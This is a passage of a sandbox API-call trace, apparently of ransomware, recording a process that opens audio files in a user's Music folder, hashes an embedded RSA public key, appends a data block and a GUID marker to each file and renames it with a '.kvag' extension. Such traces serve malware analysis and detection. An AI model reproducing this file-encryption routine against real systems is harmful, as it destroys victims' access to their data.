lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.812] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xcacd, lpOverlapped=0x0) returned 1 [0120.812] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.812] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.813] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.813] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.813] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.813] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.813] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.813] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.814] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.814] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.814] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.814] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.814] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.814] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.814] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xcacd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.814] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.815] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.815] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.815] CloseHandle (hObject=0x61c) returned 1 [0120.816] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\Q1rdrJ4P3K0f1VBWsz.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\q1rdrj4p3k0f1vbwsz.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\Q1rdrJ4P3K0f1VBWsz.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\q1rdrj4p3k0f1vbwsz.mp3.kvag")) returned 1 [0120.817] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80fd6a60, ftCreationTime.dwHighDateTime=0x1d4ce3f, ftLastAccessTime.dwLowDateTime=0x3778b3f0, ftLastAccessTime.dwHighDateTime=0x1d4d50f, ftLastWriteTime.dwLowDateTime=0x3778b3f0, ftLastWriteTime.dwHighDateTime=0x1d4d50f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QgLkms-", cAlternateFileName="")) returned 1 [0120.817] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6526140, ftCreationTime.dwHighDateTime=0x1d4d32b, ftLastAccessTime.dwLowDateTime=0xb5956020, ftLastAccessTime.dwHighDateTime=0x1d4d335, ftLastWriteTime.dwLowDateTime=0xb5956020, ftLastWriteTime.dwHighDateTime=0x1d4d335, nFileSizeHigh=0x0, nFileSizeLow=0x1863, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tWwlSFL.wav", cAlternateFileName="")) returned 1 [0120.817] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\tWwlSFL.wav") returned=".wav" [0120.817] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\tWwlSFL.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\twwlsfl.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.818] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=6243) returned 1 [0120.818] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.820] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x183d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.820] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.822] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x1863, lpOverlapped=0x0) returned 1 [0120.822] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.822] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.822] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.822] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e00) returned 1 [0120.823] CryptCreateHash (in: hProv=0x3607e00, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.823] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.823] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.823] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.823] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.823] CryptReleaseContext (hProv=0x3607e00, dwFlags=0x0) returned 1 [0120.823] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.823] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.824] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.824] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.824] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1863, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.824] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.824] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.824] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.824] CloseHandle (hObject=0x61c) returned 1 [0120.825] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\tWwlSFL.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\twwlsfl.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\tWwlSFL.wav.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\twwlsfl.wav.kvag")) returned 1 [0120.827] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7866b60, ftCreationTime.dwHighDateTime=0x1d4ced4, ftLastAccessTime.dwLowDateTime=0xb6fc4e20, ftLastAccessTime.dwHighDateTime=0x1d4d2bc, ftLastWriteTime.dwLowDateTime=0xb6fc4e20, ftLastWriteTime.dwHighDateTime=0x1d4d2bc, nFileSizeHigh=0x0, nFileSizeLow=0xb3ef, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X1zSPuHiS_u.m4a", cAlternateFileName="X1ZSPU~1.M4A")) returned 1 [0120.827] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\X1zSPuHiS_u.m4a") returned=".m4a" [0120.827] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\X1zSPuHiS_u.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\x1zspuhis_u.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.827] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=46063) returned 1 [0120.827] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.829] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb3c9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.829] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.830] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xb3ef, lpOverlapped=0x0) returned 1 [0120.831] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.831] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.831] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.831] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e00) returned 1 [0120.832] CryptCreateHash (in: hProv=0x3607e00, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.832] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.832] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.832] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.832] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.832] CryptReleaseContext (hProv=0x3607e00, dwFlags=0x0) returned 1 [0120.832] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.832] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.832] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.833] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.833] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb3ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.833] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.833] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.833] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.833] CloseHandle (hObject=0x61c) returned 1 [0120.835] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\X1zSPuHiS_u.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\x1zspuhis_u.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\X1zSPuHiS_u.m4a.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\x1zspuhis_u.m4a.kvag")) returned 1 [0120.836] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf411f290, ftCreationTime.dwHighDateTime=0x1d4d4d0, ftLastAccessTime.dwLowDateTime=0x1d1dcb80, ftLastAccessTime.dwHighDateTime=0x1d4c68c, ftLastWriteTime.dwLowDateTime=0x1d1dcb80, ftLastWriteTime.dwHighDateTime=0x1d4c68c, nFileSizeHigh=0x0, nFileSizeLow=0x164c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XEg6.mp3", cAlternateFileName="")) returned 1 [0120.837] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\XEg6.mp3") returned=".mp3" [0120.837] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\XEg6.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\xeg6.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.837] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=91334) returned 1 [0120.838] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.839] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x164a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.839] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.841] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x164c6, lpOverlapped=0x0) returned 1 [0120.842] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.842] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.842] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.842] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e00) returned 1 [0120.842] CryptCreateHash (in: hProv=0x3607e00, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.843] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.843] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.843] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, 